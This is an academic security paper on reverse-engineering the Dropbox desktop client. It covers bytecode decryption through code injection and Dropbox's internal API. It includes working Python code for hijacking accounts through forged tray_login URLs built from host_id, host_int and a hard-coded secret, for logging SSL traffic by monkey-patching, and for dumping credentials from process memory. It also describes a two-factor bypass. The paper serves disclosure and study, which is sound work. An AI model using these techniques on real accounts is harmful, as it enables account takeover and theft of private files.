Looking inside the (Drop) box

Dhiru Kholia
University of British Columbia / Openwall
dhiru@openwall.com

Przemysław Węgrzyn
CodePainters
wegrzyn@codepainters.com

Abstract

Dropbox is a cloud based file storage service used by more than 100 million users. In spite of its widespread popularity, we believe that Dropbox as a platform hasn't been analyzed extensively enough from a security standpoint. Also, the previous work on the security analysis of Dropbox has been heavily censored. Moreover, the existing Python bytecode reversing techniques are not enough for reversing *hardened* applications like Dropbox.

This paper presents new and generic techniques, to reverse engineer *frozen* Python applications, which are not limited to just the Dropbox world. We describe a method to bypass Dropbox's two factor authentication and hijack Dropbox accounts. Additionally, generic techniques to *break* SSL using code injection techniques and *monkey patching* are presented.

We believe that our biggest contribution is to open up the Dropbox platform to further security analysis and research. Dropbox will / should no longer be a black box. Finally, we describe the design and implementation of an open-source version of Dropbox client (and yes, it runs on ARM in case you were wondering).

1 Introduction

The Dropbox clients run on around ten platforms and many of these Dropbox clients are written mostly in Python [7]. However, Dropbox being a proprietary platform, no source code is available for these clients. Moreover, the API being used by the various Dropbox clients is not documented.

Before trusting our data to Dropbox, it would be wise (in our opinion) to know more about the internals of Dropbox. Questions about the security of the uploading process, two-factor authentication and data encryption are some of the most obvious.

Our paper attempts to answer these questions and more. In this paper, we show how to unpack, decrypt and decompile Dropbox from scratch and in full detail. This paper present new and generic techniques to reverse engineer frozen Python applications. Once you have the decompiled source-code, it is possible to study how Dropbox works in detail. This Dropbox source-code reversing step is the foundation of this paper and is described in section 3.

Our work uses various code injection techniques and monkey-patching to *break* SSL in Dropbox. We have used these techniques successfully to *break* SSL in other commercial products as well. These techniques are generic enough and we believe would aid in future software development, testing and security research.

Our work reveals the internal API used by Dropbox client and makes it straightforward to write a portable open-source Dropbox client, which we present in section 5. Ettercap and Metasploit plug-ins (for observing *LAN sync* protocol and account hijacking, respectively) are presented which break various security aspects of Dropbox. Additionally, we show how to bypass Dropbox's two factor authentication and gain access to user's data.

We hope that our work inspires the security community to write an open-source Dropbox client, refine the techniques presented in this paper and conduct research into other cloud based storage systems.

2 Existing Work

In this section, we cover existing work related to security analysis of Dropbox and analyze previously published reversing techniques for Python applications.

Critical Analysis of Dropbox Software Security [15] analyzes Dropbox versions from 1.1.x to 1.5.x. However, the techniques presented in this paper are not generic enough to deal with the changing bytecode encryption methods employed in Dropbox and in fact, fail to work for Dropbox versions >= 1.6. Another tool called *dropboxdec, Dropbox Bytecode Decryption Tool* [5] fails to

work since it only can deal with encryption algorithm used in the earlier versions (1.1.x) of Dropbox. Our work bypasses the bytecode decryption step entirely and is more robust against the ever changing encryption methods employed in Dropbox.

The techniques presented in *pyREtic* [17] do not work against Dropbox since *co_code* (code object attribute which contains bytecode) cannot be accessed any more at the Python layer. Furthermore, the key technique used by pyREtic (replacing original obfuscated *.pyc* bytecode file with desired .py file) to gain control over execution no longer works. Dropbox patches the standard import functionality which renders pyREtic's key technique useless. We get around this problem by using standard and well-understood code injection techniques like *Reflective DLL injection* [3] (on Windows) and *LD_PRELOAD* [6] (on Linux). *marshal.dumps* function which could be used for dumping bytecode is patched too! Also, techniques described in *Reverse Engineering Python Applications* [11] do not work against Dropbox for the very same reasons. We work around this problem by dynamically finding the co_code attribute at the C layer. In short, Dropbox is challenging to reverse and existing techniques fail.

One another interesting attack on the older versions of Dropbox is implemented in the dropship tool [19]. Essentially dropship allows an user to gain access to files which the user doesn't own provided the user has the correct cryptographic hashes of the desired files. However, Dropbox has patched this attack vector and we have not been able to find similar attacks yet.

3 Breaking the (Drop)box

In this section we explain various ways to reverse-engineer Dropbox application on Windows and Linux platform. We have analyzed Dropbox versions from 1.1.x to 2.1.12 (latest as of 02-May-2013).

Dropbox clients for Linux, Windows and Mac OS are written mostly in Python. On Windows, *py2exe* [12] is used for packaging the source-code and generating the deliverable application. A heavily *fortified* version of the Python interpreter can be extracted from the PE resources of *Dropbox.exe* executable using tools like PE Explorer or Resource Hacker. Dropbox.exe also contains a ZIP of all encrypted .pyc files (bytecode)

On Linux, Dropbox is packaged (most likely) using *bbfreeze* project [16]. bbfreeze using static linking (for Python interpreter and the OpenSSL library) and as such there is no shared library which can be extracted out and analyzed in a debugger or a disassembler.

3.1 Unpacking Dropbox

A Generic unpacker for Dropbox.exe executable (dropbox / main on Linux) is trivial to write,

```
import zipfile
from zipfile import PyZipFile

fileName = "Dropbox.exe"
mode = "r"
ztype = zipfile.ZIP_DEFLATED

f = PyZipFile(fileName, "r", ztype)
f.extractall("bytecode_encrypted")
```

This script will extract the encrypted .pyc files (which contain bytecode) in a folder called *bytecode_encrypted*. Normally, .pyc files contain a four-byte magic number, a four-byte modification timestamp and a marshalled code object [1]. In case of Dropbox, the marshalled code object is encrypted. In the next section, we describe various techniques to decrypt these encrypted .pyc files.

3.2 Decrypting encrypted Dropbox bytecode

As briefly mentioned earlier, we extract the customized Python interpreter named Python27.dll from the PE resources of Dropbox.exe executable using PE Explorer. This Python27.dll file from the Windows version of Dropbox was analyzed using IDA Pro and BinDiff to see how it is different from the standard interpreter DLL. We found out that many standard functions like PyRun_File(), marshal.dumps are nop'ed out to make reverse engineering Dropbox harder.

A casual inspection of extracted .pyc files reveals no visible strings which is not the case with standard .pyc files. This implies that encryption (or some obfuscation is being employed by Dropbox to protect bytecode). We found that Python's r_object() (in marshal.c) function was patched to decrypt code objects upon loading. Additionally, Dropbox's .pyc files use a non-standard magic number (4 bytes), this however is trivial to fix. To decrypt the buffer r_object() calls a separate function inside Python27.dll. We figured out a way to call this decryption function from outside the DLL and then consequently dump the decrypted bytecode back to disk. There is no need at all to analyse the encryption algorithm, keys, etc. However we had to rely on calling a hard-coded address and this decryption function has no symbol attached. Additionally, On Linux, everything is statically linked into a single binary and the decryption function is inlined into r_object(). So, we can no longer call this decryption function in a standalone fashion.

To overcome this problem, we looked around for a more robust approach and hit upon the idea of loading

the .pyc files into memory from the disk and then serializing them back. We use LD_PRELOAD (Reflective DLL injection on Windows) to inject our C code into dropbox process, then we override (hijack) a common C function (like strlen) to gain control over the control flow and finally we inject Python code by calling PyRun_SimpleString (official Python C API function which is not patched!). Hence it is possible to execute arbitrary code in Dropbox client context.

We should mention that before running Python code from within the injected code in Dropbox context requires GIL (Global Interpreter Lock) [20] to be acquired.

```
// use dlsym(RTLD_DEFAULT...) to find
// symbols from within the injected code

PyGILState_STATE gstate;
gstate = PyGILState_Ensure();
PyRun_SimpleString("print 'Hello!'");
```

Now we explain how we get Dropbox to do the decryption work for us and for free. From the injected code we can call *PyMarshal_ReadLastObjectFromFile()* which loads the code object from encrypted .pyc file. So, in memory we essentially have unencrypted code object available. However, the co_code string (which contains the bytecode instructions) is not exposed at the Python layer (this can be done by modifying code_memberlist array in Objects/codeobject.c file). So after locating this decrypted code object we serialize it back to file. However this again is not straightforward since marshal.dumps method is nop'ed. In other words, object marshalling is stripped out in the custom version of Python used by Dropbox. So, we resort to using PyPy's _marshal.py [13] which we inject into the running Dropbox process.

In summary, we get decryption for free! Our method is lot shorter, easier and reliable than the ones used in [5] and [15]. Overall, we have 200 lines of C and 350 lines of Python (including marshal code from PyPy). Our method is robust, as we do not even need to deal with the ever changing decryption algorithms ourselves. Finally, our decryption tool works with all versions of Dropbox that we used for testing.

3.3 Opcode remapping

The next anti-reversing technique used by Dropbox is Opcode remapping. The decrypted .pyc files have valid strings (which are expected in standard Python bytecode), but these .pyc files still fail to load under standard interpreter do to opcodes being swapped.

CPython is a simple opcode (1 byte long) interpreter. ceval.c is mostly a big switch statement inside a loop which evaluates these opcodes. In Dropbox, this part is patched to use different opcode values. We were able to recover this mapping manually by comparing disassembled DLL with ceval.c (standard CPython file). However, this process is time consuming and won't really scale if Dropbox decided to use even slightly different opcode mapping in the newer versions.

A technique to break this protection is described in pyREtic [17] paper and is partially used in dropboxdec [5]. In short, Dropbox bytecode is compared against standard Python bytecode for common modules. It does not work (as it is) against Dropbox because co_code (bytecode string) is not available at the Python layer and Python import has been patched in order to not load .py files. However, it is possible to compare decrypted Dropbox bytecode (obtained using our method) with standard bytecode for common Python modules and come up with opcode mapping used by Dropbox.

However, we did not explore this and other automated opcode deduction techniques because in practice, the opcode mapping employed in Dropbox hasn't changed since version 1.6.0. That being said, we would like to attempt solving this problem in future. In the next section, we describe how to decompile the recovered .pyc files.

3.4 Decompiling decrypted bytecode

For decompiling decrypted Python bytecode to Python source code we rely on uncompyle2 [22], which is a Python 2.7 byte-code decompiler, written in Python 2.7.

uncompyle2 is straightforward to use and the decompiled source code works fine. We were able to recover all the Python source code used in Dropbox with uncompyle2.

In the next section, we analyse how Dropbox authentication works and then present some attacks against it.

4 Dropbox security and attacks

Accessing Dropbox's website requires one to have the necessary credentials (email address and password). The same credentials are also required in order to link (register) a device with a Dropbox account. In this registration process, the end-user device is associated with a unique *host_id* which is used for all future authentication operations. In other words, Dropbox client doesn't store or use user credentials once it has been linked to the user account. host_id is not affected by password changes and it is stored locally on the end-user device.

In older versions (< 1.2.48) of Dropbox, this host_id was stored locally in clear-text (in older versions) in an *SQLite* database (named *config.db*). By simply copying this SQLite database file to another machine, it was possible to gain access to the target user's data. This attack vector is described in detail "Dropbox authentication: insecure by design" post [10].

However, from version 1.2.48 onwards, host_id is now stored in an encrypted local SQLite database [18]. However, host_id can still be extracted from the encrypted SQLite database (*$HOME/.dropbox/config.dbx*) since the *secrets* (various inputs) used in deriving the database encryption key are stored on the end-user device (however, local storage of such secrets can't be avoided since Dropbox client depends on them to work). On Windows, DPAPI encryption is used to protect the secrets whereas on Linux a custom obfuscator is used by Dropbox. It is straightforward to discover where the secrets are stored and how the database encryption key is derived. The relevant code for doing so on Linux is in *common_util/keystore/keystore_linux.py* file. dbx-keygen-linux [14] (which uses reversed Dropbox sources) is also capable of recovering the database encryption key. It also works for decrypting *filecache.dbx* encrypted database which contains meta-data and which could be useful for forensic purposes.

Additionally, another value *host_int* in now involved in the authentication process. After analyzing Dropbox traffic, we found out that *host_int* is received from the server at startup and also that it does not change.

4.1 host_id and host_int

Dropbox client has a handy feature which enables a user to login to Dropbox's website without providing any credentials. This is done by selecting "Launch Dropbox Website" from the Dropbox tray icon. So, how exactly does the Dropbox client accomplish this? Well, two values, host_id and host_int are involved in this process. In fact, knowing host_id and host_int values that are being used by a Dropbox client is enough to access all data from that particular Dropbox account. host_id can be extracted from the encrypted SQLite database or from the target's memory using various code injection techniques.

host_int can be sniffed from Dropbox LAN sync protocol traffic. While this protocol can be disabled, it is turned on by default. We have written an Ettercap plug-in [8] to sniff the host_int value remotely on a LAN. It is also possible to extract this value from the target machine's memory.

We found an interesting attack on Dropbox versions (<= 1.6.x) in which it was possible to extract the host_id and host_int values from the logs generated by the Dropbox client. However the Dropbox client generated these logs only when a special environment variable (DBDEV) was set properly. Dropbox turns on logging only when the MD5 checksum of DBDEV starts with "c3da6009e4". We were able to crack this partial MD5 hash (with some external help) and found out that the string "a2y6shya" generates the required partial MD5 collision. Our Metasploit plug-in [9] exploits this vulnerability and is able to remotely hijack Dropbox accounts. This vulnerability has been patched after we disclosed it responsibly to Dropbox. However, next section will describe a new attack vector for hijacking Dropbox accounts which cannot be patched easily.

We mentioned earlier that the host_int value is received from the server at startup and that it does not change. So, it is obviously possible to ask the Dropbox server itself for this value, just like the Dropbox client does!

```
import json
import requests

host_id = <UNKNOWN>

data = ("buildno=Dropbox-win-1.7.5&tag="
        "&uuid=123456&server_list=True&"
        "host_id=%s&hostname=random"
        % host_id)

base_url = 'https://client10.dropbox.com'
url = base_url + '/register_host'

headers = {'content-type': \
   'application/x-www-form-urlencoded', \
   'User-Agent': "Dropbox ARM" }

r = requests.post(url, data=data,
    headers=headers)

data = json.loads(r.text)
host_int = data["host_int"]
```

4.2 Hijacking Dropbox accounts

Once, host_int and host_id values for a particular Dropbox client are known, it is possible to gain access to that account using the following code. We call this the *tray_login* method.

```
import hashlib
import time

host_id = <UNKNOWN>
host_int = <ASK SERVER>

now = int(time.time())

fixed_secret = 'sKeevie4jeeVie9bEen5baRFin9'

h = hashlib.sha1('%s%s%d'% (fixed_secret,
    host_id, now)).hexdigest()

url = ("https://www.dropbox.com/tray_login?"
       "i=%d&t=%d&v=%s&url=home&cl=en" %
       (host_int, now, h))
```

Accessing the *url* output of the above code takes one to the Dropbox account of the target user. We have shown (in the previous section) a method to get the host_int value from the Dropbox server itself. So, in short, we

have *revived* the earlier attack (which was fixed by Dropbox) on Dropbox accounts which required only host_id to access the target's Dropbox account.

While this new attack vector works fine, we have observed that the latest versions of Dropbox client do not use this *tray_login* mechanism (in order to allow the user to automatically login to the website). They now rely on heavier obfuscation and random *nonces* (received from the server) to generate those auto-login URLs. We plan to *break* this new auto-login mechanism in the near future.

5 *Breaking* SSL

In previous code samples, we have used undocumented Dropbox API. In this section we describe how we discovered this internal API. Existing SSL MiTM (man-in-the-middle) tools (e.g. Burp Suite) cannot sniff Dropbox traffic since Dropbox client uses hard coded SSL certificates. Additionally the OpenSSL library is statically linked with Dropbox executable. Binary patching is cumbersome, hard and not very fun. We get around this problem by using Reflective DLL injection [3] (on Windows) and LD_PRELOAD [6] on Linux) to gain control over execution, followed by monkey patching [21] of all interesting objects.

Once we are able to execute arbitrary code in Dropbox client context, we patch all *SSL* objects and are able to snoop on the data before it encrypted (on sending side) and after it has been decrypted (on receiving side). This is how we *break* SSL. We have successfully used the same technique on multiple commercial Python applications (e.g. Druva inSync). Following code shows how we locate and patch interesting Python objects at runtime.

```
import gc

f = open("SSL-data.txt", "w")

def ssl_read(*args):
    data = ssl_read_saved(*args)
    f.write(str(data))
    return data

def patch_object(obj):
   if isinstance(obj, SSLSocket) \
      and not hasattr(obj, "marked"):
       obj.marked = True
       ssl_read_saved = obj.read
       obj.read = ssl_read

while True:
    objs = gc.get_objects()

    for obj in objs:
            patch_object(obj)

    time.sleep(1)
```

This monkey patching technique to break SSL can also be used with other dynamic languages like Ruby, Perl, JavaScript, Perl and Groovy.

5.1 Bypassing 2FA

We found that two-factor authentication (as used by Dropbox) only protects against unauthorized access to the Dropbox's website. The Dropbox internal client API does not support or use two-factor authentication! This implies that it is sufficient to have only the host_id value to gain access to the target's data stored in Dropbox.

5.2 Open-source Dropbox client

Based on the findings of the earlier sections, it is straightforward to write an open-source Dropbox client. The following code snippet shows how to fetch the list of files stored in a Dropbox account.

```
host_id = "?"

BASE_URL = 'https://client10.dropbox.com/'
register_url = BASE_URL + 'register_host'
list_url = BASE_URL + "list"

# headers
headers = {'content-type': \
   'application/x-www-form-urlencoded', \
   'User-Agent': "Dropbox ARM" }

# message
data = ("buildno=ARM&tag=&uuid=42&"
   "server_list=True&host_id=%s"
   "&hostname=r" % host_id)

r = requests.post(register_url,
   data=data, headers=headers)

# extract data
data = json.loads(r.text)
host_int = data["host_int"]
root_ns = data["root_ns"]

# fetch data list
root_ns = str(root_ns) + "_-1"

data = data + ("&ns_map=%s&dict_return=1"
   "&server_list=True&last_cu_id=-1&"
   "need_sandboxes=0&xattrs=True"
   % root_ns)

# fetch list of files
r = requests.post(list_url,
   data=data, headers=headers)

data = json.loads(r.text)
paths = data["list"]

# show a list of files and their hashes
print paths
```

Similarly, we are able to upload and update files using our open-source Dropbox client.

5.3 New attack vectors

We have briefly mentioned previously that it is possible to extract host_id and host_int from the Dropbox client's memory once control of execution flow has been gained by using Reflective DLL injection or LD_PRELOAD. The following code snippet shows how exactly this can be accomplished.

```
# 1. Inject code into Dropbox.
# 2. Locate PyRun_SimpleString using dlsym
#    from within the Dropbox process
# 3. Feed the following code to the located
#    PyRun_SimpleString

import gc

objs = gc.get_objects()
for obj in objs:
    if hasattr(obj, "host_id"):
        print obj.host_id
    if hasattr(obj, "host_int"):
        print obj.host_int
```

We believe that this attack vector (snooping on objects) is hard to protect against. Even if Dropbox somehow prevents attackers from gaining control over the execution flow, it is still possible to use smart *memory snooping* attacks as implemented in passe-partout [2]. We plan to extend passe-partout to carry out more generic *memory snooping* attacks in the near future.

6 Mitigations

We believe that the *arms race* between software protection and software reverse engineering would go on. Protecting software against reverse engineering is hard but it is definitely possible to make the process of reverse engineering even harder.

Dropbox uses various techniques to deter reverse engineering like changing bytecode magic number, bytecode encryption, opcode remapping, disabling functions which could aid reversing, static linking, using hard coded certificates and hiding raw bytecode objects. We think that all these techniques are good enough against a casual attacker.

That being said, Dropbox could use additionally techniques like function name mangling, marshalling format changes to make reverse engineering harder. We obviously don't want to give Dropbox too many ideas here.

7 Challenges and future work

The various things we would like to explore are finding automated techniques for reversing opcode mappings and discovering attacks on the *LAN sync* protocol used by Dropbox.

Activating logging in Dropbox now requires cracking a full SHA-256 hash (e27eae61e774b19f4053361e523c771a92e838026da42c60e6b097d9cb2bc825).

Another interesting challenge is to run Dropbox back from its decompiled sources. We have been partially successful (so far) in doing so. We would like to work on making the technique of dumping bytecode from memory (described in the pyREtic [11] paper) work for Dropbox.

At some point, Dropbox service will disable the existing *tray_login* method which will make hijacking accounts harder. Therefore, we would like to continue our work on finding new attack vectors.

8 Acknowledgments

We would like to thank Nicolas Ruff, Florian Ledoux and wibiti for their work on uncompyle2 (Python bytecode decompiler).

9 Availability

Our and other tools used by us are available on GitHub at `https://github.com/kholia`. Python decompiler is available at [22] and the code for Reflective DLL Injection is available at [4]. We also plan to publish the complete source code of our tools and exploits on GitHub around conference time.

References

[1] BATCHELDER, N. The structure of .pyc files. `http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html`, 2008.

[2] COLLIGNON, N., AND AVIAT, J.-B. passe-partout, extract ssl private keys from process memory. `https://github.com/kholia/passe-partout`, 2011.

[3] FEWER, S. Reflective DLL injection. `www.harmonysecurity.com/files/HS-P005_ReflectiveDllInjection.pdf`, 2008.

[4] FEWER, S. Reflective dll injection code. https://github.com/stephenfewer/ReflectiveDLLInjection, 2008.

[5] FRITSCH, H. Dropbox bytecode decryption tool. `https://github.com/rumpeltux/dropboxdec`, 2012.

[6] GNU. LD_PRELOAD - dynamic linker and loader feature. http://man7.org/linux/man-pages/man8/ld.so.8.html, 1987.

[7] HUNTER, R. How dropbox did it and how python helped. *PyCon 2011* (2011).

[8] KHOLIA, D. db-lsp-disc dissector to figure out host_int. https://github.com/kholia/ettercap/tree/dropbox, 2013.

[9] KHOLIA, D. Long promised post module for hijacking dropbox accounts. https://github.com/rapid7/metasploit-framework/pull/1497, 2013.

[10] NEWTON, D. Dropbox authentication: insecure by design. http://dereknewton.com/2011/04/dropbox-authentication-static-host-ids/, 2011.

[11] PORTNOY, A., AND SANTIAGO, A.-R. Reverse engineering python applications. In *Proceedings of the 2nd conference on USENIX Workshop on offensive technologies* (2008), USENIX Association, p. 6.

[12] RETZLAFF, J. py2exe, distutils extension to build standalone windows executable programs from python scripts. https://pypi.python.org/pypi/bbfreeze/, 2002.

[13] RIGO, A., ET AL. Pypy, python interpreter and just-in-time compiler. http://pypy.org/, 2009.

[14] RUFF, N., AND LEDOUX, F. Encryption key extractor for dropbox dbx files. https://github.com/newsoft/dbx-keygen-linux.git, 2008.

[15] RUFF, N., AND LEDOUX, F. A critical analysis of dropbox software security. *ASFWS 2012, Application Security Forum* (2012).

[16] SCHMITT, R. bbfreeze, create standalone executables from python scripts. https://pypi.python.org/pypi/bbfreeze/, 2007.

[17] SMITH, R. pyretic, in memory reverse engineering for obfuscated python bytecode. *BlackHat / Defcon 2010 security conferences* (2010).

[18] SQLITE@HWACI.COM. The sqlite encryption extension (see). http://www.hwaci.com/sw/sqlite/see.html, 2008.

[19] VAN DER LAAN, W. dropship - dropbox api utilities. https://github.com/driverdan/dropship, 2011.

[20] VAN ROSSUM, G. Global Interpreter Lock. http://wiki.python.org/moin/GlobalInterpreterLock, 1991.

[21] VARIOUS. Monkey patch, modifying the run-time code of dynamic language. http://en.wikipedia.org/wiki/Monkey_patch, 1972.

[22] WIBITI, ELOI VANDERBEKEN, F. L., ET AL. uncompyle2, a python 2.7 byte-code decompiler, written in python 2.7. https://github.com/wibiti/uncompyle2.git, 2012.